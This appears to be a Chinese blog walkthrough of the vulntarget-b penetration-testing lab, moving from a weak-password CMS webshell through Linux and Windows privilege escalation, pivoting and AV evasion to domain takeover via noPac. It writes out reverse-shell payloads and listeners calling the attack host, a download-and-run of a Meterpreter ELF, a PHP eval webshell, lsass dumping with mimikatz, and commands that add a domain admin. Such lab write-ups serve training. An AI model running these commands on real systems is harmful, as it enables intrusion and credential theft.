vulntarget-b靶场详细通关记录

vulntarget-b靶场详细通关记录

前言

这个靶场打了好几天才打下来,在上线msf和免杀过火绒还有psexec横向移动中卡了很久。而且这个靶场的通关资料较少,吐槽一下网上的相关文章很多关键步骤都不写而且复现不成功。以下将记录个人通关vulntarget-b靶场的详细过程。

攻击手段

1.CMS极致后台getshell

2.Bypass disable_functions绕过

3.CVE-2021-4034提权漏洞(Polkit)

4.msf Socks5代理

5.CNVD-C-2020-121325禅道PMS任意文件上传漏洞

6.LCX多层端口转发

7.木马ShellCode免杀过火绒上线msf

8.CVE-2021-1732 提权漏洞 蔓灵花(BITTER)

9.利用注册表和procdump mimikatz离线获取凭证

10.CVE-2021-42287&CVE-2021-42278

11.psexec横向移动拿下域控

网络环境

域控(Win2016)

vulntarget\administrator:Admin@123、(首次登陆要改密码修改为Admin@123@)

vulntarget\win101:admin#123

内网ip:10.0.10.100

在这里插入图片描述

域主机(Win10)

win10:win10#123、

administrator:admin@123

内网ip:10.0.20.66 、10.0.10.99

在这里插入图片描述

Web服务器(CentOS)

root:root

外网ip:192.168.0.104

内网ip:10.0.20.30

在这里插入图片描述

攻击机(kali)

192.168.0.128

外网渗透

web服务器CMS极致后台getshell

全面扫描Web服务器端口

nmap -sV -A -p- 192.168.0.104

在这里插入图片描述

扫出21、22、80、81、888、3306、8888端口

访问80端口,识别出安装了宝塔面板

在这里插入图片描述

访问81端口,知道了是极致CMS建站

在这里插入图片描述

访问8888端口

在这里插入图片描述

进入极致CMS后台/admin.php

在这里插入图片描述

直接admin:admin123弱口令就进去了

在这里插入图片描述

收获到了极致CMS版本信息v1.8.1,经过搜索发现了一个后台在线编辑模板插件getshell的洞

搜索在线编辑模板下载并安装

在这里插入图片描述

之后点击配置

在这里插入图片描述

设置密码登录后进入了如下页面

在这里插入图片描述

找到index.html写入一句马

在这里插入图片描述

利用蚁剑成功远控

在这里插入图片描述

Bypass disable_functions

但是连接后执行命令一直显示ret=127,应该是宝塔设置了disable_functions

在这里插入图片描述

直接利用Antsword-store中的disable_functions bypass

在这里插入图片描述

在这里插入图片描述

成功bypass,可以执行函数了

在这里插入图片描述

Web服务器上线msf

msf监听

msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.0.128
set lport 4444
run

在这里插入图片描述

生成木马

msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.0.128 lport=4444 -f elf > shell.elf

在这里插入图片描述

开启http服务,让受害机下载木马并执行

wget http://192.168.0.128/shell.elf
chmod +x shell.elf
./shell.elf

成功上线msf

在这里插入图片描述

提权

因为现在用户是www还需提权到root,我传了个linux-exploit-suggester.sh linux脚本漏洞指针并执行,发现了很多洞

在这里插入图片描述

看里面有dirtycow,直接打失败了不知道是哪里的问题

在这里插入图片描述

利用msf自带的辅助提权

use multi/recon/local_exploit_suggester
set session 1
run

在这里插入图片描述

直接利用第一个打

use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
set session 1

还成了,成功拿到root权限

在这里插入图片描述

后面专门搜了一下这个CVE-2021-4034是一个关于环境变量的提权漏洞

Polkit(之前名为PolicyKit)是一个权限相关的套件,pkexec是其中用于以其他用户身份执行命令的工具,它具有suid权限。

当前版本的pkexec中没有正确处理参数和环境变量,导致攻击者可以利用这个Bug劫持环境变量GCONV_PATH,进而劫持动态链接库,以root身份执行任意代码。

内网渗透

发现web服务器的内网ip:10.0.20.30

在这里插入图片描述

构建通道

配置路由

run autoroute -s 10.0.20.0/24
run autoroute -p

在这里插入图片描述

开启代理,利用msf自带的socks模块

use auxiliary/server/socks_proxy

在这里使用了socks5

在这里插入图片描述

jobs

在这里插入图片描述

内网探测

利用scanner/portscan/tcp模块简单扫描下常用端口,发现了8080端口

use scanner/portscan/tcp

set rhosts 10.0.20.0/24
set threads 10
set rports 20-500,80,8080,3000-4000

在这里插入图片描述

攻击机开启代理,访问80端口发现是禅道PMS

在这里插入图片描述

又是弱口令登录后台admin:Admin123

发现版本号为12.4.2,也可以通过/index.php?mode=getconfig接口

在这里插入图片描述

对比版本搜索禅道PMS存在的漏洞,发现存在CNVD-C-2020-121325的任意文件上传漏洞

漏洞名称 漏洞ID 影响版本 漏洞披露日期
禅道 8.2-9.2.1 SQL注入导致前台Getshell 禅道开源版 8.2-9.2.1 2018
禅道 后台代码注入漏洞 禅道开源版 <= 11.6 2019
禅道 后台任意文件删除漏洞 禅道开源版 <= 11.6 2019
禅道 后台任意文件读取漏洞 禅道开源版 <= 11.6 2019
禅道 后台文件包含漏洞 禅道开源版 <= 11.6 2019
禅道 后台SQL注入漏洞 禅道开源版 <= 11.6 2019
禅道 任意文件上传漏洞 CNVD-C-2020-121325 10.x < 禅道开源版 < 12.4.3 2020
禅道 Pro 8.8.2 命令注入漏洞 CVE-2020-7361 禅道Pro <=8.8.2 2020

复现CNVD-C-2020-121325禅道PMS任意文件上传漏洞

访问如下地址:

http://[目标地址]/index.php?m=client&f=download&version=[$version参数]&[base64加密后的恶意文件地址]

访问后会将文件保存在data/client/1/目录下

首先写一个木马shell.php内容为

<?php @eval($_POST['tpa']);phpinfo();?>

然后上传到控制下来的Web服务器并开启http服务

python -m SimpleHTTPServer 8847

base64编码转换 HTTP需要大写,version随意

HTTP://10.0.20.30:8847/shell.php

SFRUUDovLzEwLjAuMjAuMzA6ODg0Ny9zaGVsbC5waHA

http://10.0.20.66:8080/index.php?m=client&f=download&version=1&link=SFRUUDovLzEwLjAuMjAuMzA6ODg0Ny9zaGVsbC5waHA

在这里插入图片描述

访问我们生成的木马

在这里插入图片描述

进行远控,蚁剑需要设置Socks5的代理

在这里插入图片描述

成功远控

在这里插入图片描述

在这台域主机上识别出了火绒

在这里插入图片描述

免杀过火绒上线msf

隧道搭建思路如下:

将已经拿下shell的web服务器的5555端口转发到kali机的7777端口(一会木马直接反弹7777端口),这里使用了免杀过的工具portmap

./portmap -m 1 -p1 5555 -h1 10.0.20.30 -p2 7777 -h2 192.168.0.128

在这里插入图片描述

同时kali机也需要进行端口转发,将本地的7777端口转发到6666端口,之后msf直接监听6666端口,相当于web服务器5555端口监听反弹的效果

./portmap -m 1 -p1 7777 -h1 192.168.0.128 -p2 6666 -h2 192.168.0.128

在这里插入图片描述

启动监听,监听本机6666端口

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.0.128
set lport 6666

生成木马,因为WIN10有火绒,木马需要做下免杀。

还没有系统研究过免杀,随意找了一个22年过火绒和360的免杀shellcode方案,但最新的火绒应该已经把它加入特征库了,但这台服务器的火绒是21年的应该是随便过的。

项目地址:https://github.com/Axx8/Bypass_AV

生成shellcode,生成的木马为5555端口,连接的为10.0.20.30

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.0.20.30 lport=5555 --encrypt base64 -f c

在这里插入图片描述

将生成的字节码复制到py文件shellcode中,py打包exe生成在dist目录下

pyinstaller -F -w Bypass_AV.py

之后将木马上传到WIN10目标运行,成功上线msf

在这里插入图片描述

上线后添加路由,添加了10.0.10.0/24网段的路由

run post/multi/manage/autoroute

在这里插入图片描述

尝试抓取密码没有权限

load kiwi
creds_all

在这里插入图片描述

需要提升到SYSTEM权限,目前只是域内普通用户

在这里插入图片描述

CVE-2021-1732提权

查找本地提权辅助

run post/multi/recon/local_exploit_suggester

在这里插入图片描述

用第一个第二个模块,都说模块不行没在管理员组里面用不了

在这里插入图片描述

最后用CVE-2021-1732漏洞打了进去

在这里插入图片描述

use exploit/windows/local/cve_2022_21882_win32k

虽然有这个漏洞,但msf一直不上线…,人麻了

在这里插入图片描述

算了直接在靶机上复现一下这个漏洞,github搜索编译了一个exe文件

正常情况下的whoami

在这里插入图片描述

跟上cve-2021-1732.exe的whoami,提升到了system权限

在这里插入图片描述

当我们用这个exe执行我们的木马上线的就是system权限,还是如上端口转发搭建隧道

web服务器:

./portmap -m 1 -p1 7776 -h1 10.0.20.30 -p2 6777 -h2 192.168.0.128

Kali机:

./portmap -m 1 -p1 6777 -h1 192.168.0.128 -p2 6779 -h2 192.168.0.128

生成木马(这里为了方便就不做免杀了)

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.0.20.30 lport=7776 -f exe > 7776.exe

设置监听

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp 
set lhost 192.168.0.128
set lport 6778

WIN10机器执行

cve-2021-1732.exe 7776.exe

成功上线

在这里插入图片描述

看下权限是system

在这里插入图片描述

CVE-2021-1732 是蔓灵花(BITTER)APT 组织在某次被披露的攻击行动中使用的 0day 漏洞,该高危漏洞可以在本地将普通用户进程的权限提升至最高的 SYSTEM 权限

受影响的版本:

Windows Server,version 20H2 (Server Core Installation)
Windows 10 Version 20H2 for ARM64-based Systems
Windows 10 Version 20H2 for 32-bit Systems
Windows 10 Version 20H2 for x64-based Systems
Windows Server,version 2004 (Server Core installation)
Windows 10 Version 2004 for x64-based Systems
Windows 10 Version 2004 for ARM64-based Systems
Windows 10 Version 2004 for 32-bit Systems
Windows Server,version 1909 (Server Core installation)
Windows 10 Version 1909 for ARM64-based Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for 32-bit Systems
Windows Server 2019 (Server Core installation)
Windows Server 2019
Windows 10 Version 1809 for ARM64-based Systems
Windows 10 Version 1809 for x64-based Systems
Windows 10 Version 1809 for 32-bit Systems
Windows 10 Version 1803 for ARM64-based Systems
Windows 10 Version 1803 for x64-based Systems

注册表+procdump+mimikatz获取凭证

拿到system权限后继续creds_all抓取凭证,没抓到什么有用的信息

在这里插入图片描述

通过修改注册表看到明文密码,修改注册表后需要注销或重新登录才会生效

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

在这里插入图片描述

不修改注册表,直接读取是以下这样的

在这里插入图片描述

这里采用Mimikatz离线读取lsass进程抓取密码的方式

上传procdump,利用procdump导出lsass.dmp文件,因为procdump是微软自己的工具一般来说不会被杀

procdump64.exe -accepteula -ma lsass.exe lsass.dmp

下载lsass.dmp文件

download lsass.dmp

在这里插入图片描述

下载到本地后。mimikatz读取密码

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit

在这里插入图片描述

域内信息收集

run post/windows/gather/enum_domain

在这里插入图片描述

目前已知信息:

域内账号:win101:admin#123

IP:10.0.10.100

DC:WIN-UH20PRD3EAO

域名:vulntarget.com

CVE-2021-42287&CVE-2021-42278

CVE-2021-42278,机器用户应当是computer 的 形 式 , 但 是 实 际 并 没 有 验 证 机 器 账 号 是 否 有 的形式,但是实际并没有验证机器账号是否有 。导致机器用户名可以被模拟冒用。

CVE-2021-42287,使用computer的TGT通过另一个用户去请求computer自己的ST时,将TGT发送给KDC后,当KDC找不到computer。KDC会再次寻找computer 的 S T , 从 而 获 得 了 c o m p u t e r 的ST,从而获得了computer STcomputer的ST。从而获得了computer$的权限。

影响范围:

CVE-2021-42287:

Windows Server 2012 R2 (Server Core installation)

Windows Server 2012 R2

Windows Server 2012 (Server Core installation)

Windows Server 2008 R2 for x64-based Systems Service Pack 1(Server Core installation)

Windows Server 2012

Windows Server 2008 R2 for x64-based Systems Service Pack 1

Windows Server 2008 for x64-based Systems Service Pack 2(Server Core installation)

Windows Server 2008 for x64-based Systems Service Pack 2

Windows Server 2008 for 32-bit Systems Service Pack 2(Server Core installation)

Windows Server 2008 for 32-bit Systems Service Pack 2

Windows Server 2016 (Server Core installation)

Windows Server 2016

Windows Server,version 20H2 (Server Core Installation)

Windows Server,version 2004 (Server Core installation)

Windows Server 2022 (Server Core installation)

Windows Server 2022

Windows Server 2019 (Server Core installation)

Windows Server 2019

CVE-2021-42278:

Windows Server 2012 R2

Windows Server 2012 (Server Core installation)

Windows Server 2012

Windows Server 2008 R2 for x64-based Systems Service Pack 1(Server Core installation)

Windows Server 2008 R2 for x64-based Systems Service Pack 1

Windows Server 2008 for x64-based Systems Service Pack 2(Server Core installation)

Windows Server 2008 for x64-based Systems Service Pack 2

Windows Server 2008 for 32-bit Systems Service Pack 2(Server Core installation)

Windows Server 2008 for 32-bit Systems Service Pack 2

Windows Server 2016 (Server Core installation)

Windows Server 2016

Windows Server,version 2004 (Server Core installation)

Windows Server 2022 (Server Core installation)

Windows Server 2019 (Server Core installation)

Windows Server 2022

Windows Server 2019

Windows Server 2012 R2 (Server Core installation)

漏洞探测:通过noPac工具获取TGT,得知请求没有pac的TGT,可以被攻击

noPac.exe scan -domain vulntarget.com -user win101 -pass "admin#123"

在这里插入图片描述

使用noPac获得域控cifs权限

noPac.exe -domain vulntarget.com -user win101 -pass admin#123 /dc WIN-UH20PRD3EAO.vulntarget.com /mAccount testTP1235 /mPassword hacker /service cifs /ptt

在这里插入图片描述

查看权限

dir \\WIN-UH20PRD3EAO.vulntarget.com\c$

在这里插入图片描述

添加一个域管账号,我这里又卡了很久一直添加失败不知道什么原因,重新换参数noPac获得域控cifs权限再执行就好了

net user admin11 123K@!E /add /domain
net group "Domain Admins" admin11 /add /domain

在这里插入图片描述

在这里插入图片描述

上传PsExec,利用PsExec横向,psexec是微软提供的一个远程命令行工具不会被杀

PsExec.exe -accepteula \\10.0.10.100 -u vulntarget\admin11 -p 123K@!E -s cmd.exe

在这里插入图片描述

连不上,修改防火墙策略,开启Win10远程

修改3389防火墙进站规则:

netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

在这里插入图片描述

开启Win10远程

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

在这里插入图片描述

结局依然是连不上,尝试多次无果。最后github上找了个python脚本,kali利用proxychains代理执行直接拿到了域控System权限

proxychains python sam_the_admin.py "vulntarget.com/win101:admin#123" -dc-ip 10.0.10.100 -shell

在这里插入图片描述

原文地址:https://blog.csdn.net/qq_18980147

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。

相关推荐


文章浏览阅读752次。关系型数据库关系型数据库是一个结构化的数据库,创建在关系模型(二维表模型)基础上,一般面向于记录SQL语句(标准数据查询语言)就是一种基于关系型数据库的语言,用于执行对关系型数据库中数据的检索和操作主流的关系数据库包括Oracle、Mysql、SQL Server、Microsoft Access、DB2等非关系型数据库NoSQL(nOSQL=Not Only SQL),意思是“不仅仅是SQL”,是非关系型数据库的总称。除了主流的关系型数据库外的数据库,都认为是非关系型主流的NoSQ.._redis是非关系型数据库吗
文章浏览阅读687次,点赞2次,收藏5次。商城系统中,抢购和秒杀是很常见的营销场景,在一定时间内有大量的用户访问商场下单,主要需要解决的问题有两个:1. 高并发对数据库产生的压力;2. 竞争状态下如何解决商品库存超卖;高并发对数据库产生的压力对于第一个问题,使用缓存来处理,避免直接操作数据库,例如使用 Redis。竞争状态下如何解决商品库存超卖对于第二个问题,需要重点说明。常规写法:查询出对应商品的库存,判断库存数量否大于 0,然后执行生成订单等操作,但是在判断库存是否大于 0 处,如果在高并发下就会有问题,导致库存_php库存结余并发
文章浏览阅读1.4k次。MongoTemplate开发spring-data-mongodb提供了MongoTemplate和MongoRepository两种方式访问MongoDB,MongoRepository的方式访问较为简单,MongoTemplate方式较为灵活,这两种方式在Java对于MongoDB的运用中相辅相成。_springboot插入指定的mongodb数据库
文章浏览阅读887次,点赞10次,收藏19次。1.背景介绍1. 背景介绍NoSQL数据库是一种非关系型数据库,它的特点是可以存储非结构化的数据,并且可以处理大量的数据。HBase是一个分布式、可扩展的列式存储系统,它是基于Google的Bigtable设计的。HBase是一个开源的NoSQL数据库,它的核心功能是提供高性能的随机读写访问。在本文中,我们将对比HBase与其他NoSQL数据库,例如Redis、MongoDB、Cass...
文章浏览阅读819次。MongoDB连接失败记录_edentialmechanisn-scram-sha-1
文章浏览阅读470次。mongodb抽取数据到ES,使用ELK内部插件无法获取数据,只能试试monstache抽取mongodb数据,但是monstache需要mongodb replica set 模式才能采集数据。############monstache-compose文件。#replicas set 启动服务。# 默认备份节点不能读写,可以设置。# mydb指的是需要同步的数据库。#登录主mongodb初始化rs。#primary 创建用户。# ip地址注意要修改。# ip地址注意要修改。_monstache csdn
文章浏览阅读913次,点赞4次,收藏5次。storage:fork: trueadmin登录切换数据库注意: use 代表创建并使用,当库中没有数据时默认不显示这个库删除数据库查看表清单> show tables # 或者 > show collections表创建db.createCollection('集合名称', [options])table1字段类型描述capped布尔(可选)如果为 true,则创建固定集合。固定集合是指有着固定大小的集合,当达到最大值时,它会自动覆盖最早的文档。_mongodb5
文章浏览阅读862次。Centos7.9设置MongoDB开机自启(超全教程,一条龙)_mongodb centos开机启动脚本
文章浏览阅读1.3k次,点赞6次,收藏21次。NoSQL数据库使用场景以及架构介绍
文章浏览阅读856次,点赞21次,收藏20次。1.背景介绍1. 背景介绍NoSQL数据库是一种非关系型数据库,它的设计目标是为了解决传统关系型数据库(如MySQL、Oracle等)在处理大量不结构化数据方面的不足。NoSQL数据库可以处理大量数据,具有高性能、高可扩展性和高可用性。但是,与关系型数据库不同,NoSQL数据库没有固定的模式,数据结构也不一定是表格。在NoSQL数据库中,数据存储和查询都是基于键值对、列族、图形等不同的...
文章浏览阅读416次。NoSQL定义:非关系型、分布式、开放源码和具有横向扩展能力的下一代数据库。由c++编写的开源、高性能、无模式的基于分布式文件存储的文档型数据库特点:高性能、高可用性、高扩展性、丰富的查询支持、可替换已完场文档某个指定的数据字段应用场景:社交场景:使用mongodb存储用户信息游戏场景:用户信息,装备积分物流场景:订单信息,订单状态场景操作特点:数据量大;读写操作频繁;价值较低的数据,对事物性要求不高开源、c语言编写、默认端口号6379、key-value形式存在,存储非结构化数据。_nosql
文章浏览阅读1.5k次,点赞3次,收藏2次。Exception in thread "main" redis.clients.jedis.exceptions.JedisConnectionException: Failed to create socket. at redis.clients.jedis.DefaultJedisSocketFactory.createSocket(DefaultJedisSocketFactory.java:110) at redis.clients.jedis.Connection.connect(Conne_redis.clients.jedis.exceptions.jedisconnectionexception: failed to create so
文章浏览阅读6.5k次,点赞3次,收藏12次。readAnyDatabase(在所有数据库上都有读取数据的权限)、readWriteAnyDatabase(在所有数据库上都有读写数据的权限)、userAdminAnyDatabase(在所有数据库上都有管理user的权限)、dbAdminAnyDatabase(管理所有数据库的权限);:clusterAdmin(管理机器的最高权限)、clusterManager(管理和监控集群的权限)、clusterMonitor(监控集群的权限)、hostManager( 管理Server);_mongodb创建用户密码并授权
文章浏览阅读593次。Redis是一个基于内存的键值型NoSQL数据库,在实际生产中有着非常广泛的用处_搭建本地redis
文章浏览阅读919次。Key 的最佳实践[业务名]:[数据名]:[id]足够简短:不超过 44 字节不包含特殊字符Value 的最佳实践:合理的拆分数据,拒绝 BigKey选择合适数据结构Hash 结构的 entry 数量不要超过 1000(默认是 500,如果达到上限则底层会使用哈希表而不是 ZipList,内存占用较多)设置合理的超时时间批量处理的方案:原生的 M 操作Pipeline 批处理注意事项:批处理时不建议一次携带太多命令。Pipeline 的多个命令之间不具备原子性。_redis高级实战
文章浏览阅读1.2k次。MongoDB 递归查询_mongodb数据库 递归
文章浏览阅读1.2k次。通过实际代码例子介绍:如何通过MongoTemplate和MongoRepository操作数据库数据_springboot操作mongodb
文章浏览阅读687次,点赞7次,收藏2次。首先欢迎大家阅读此文档,本文档主要分为三个模块分别是:Redis的介绍及安装、RedisDesktopManager可视化工具的安装、主从(哨兵)模式的配置。_redis 主从配置工具
文章浏览阅读764次。天下武功,无坚不摧,唯快不破!我的名字叫 Redis,全称是 Remote Dictionary Server。有人说,组 CP,除了要了解她外,还要给机会让她了解你。那么,作为开发工程师的你,是否愿意认真阅读此心法抓住机会来了解我,运用到你的系统中提升性能。我遵守 BSD 协议,由意大利人 Salvatore Sanfilippo 使用 C 语言编写的一个基于内存实现的键值型非关系(NoSQL)..._redis 7.2 源码
文章浏览阅读2k次。MongoDB 的增删改查【1】_mongodb $inc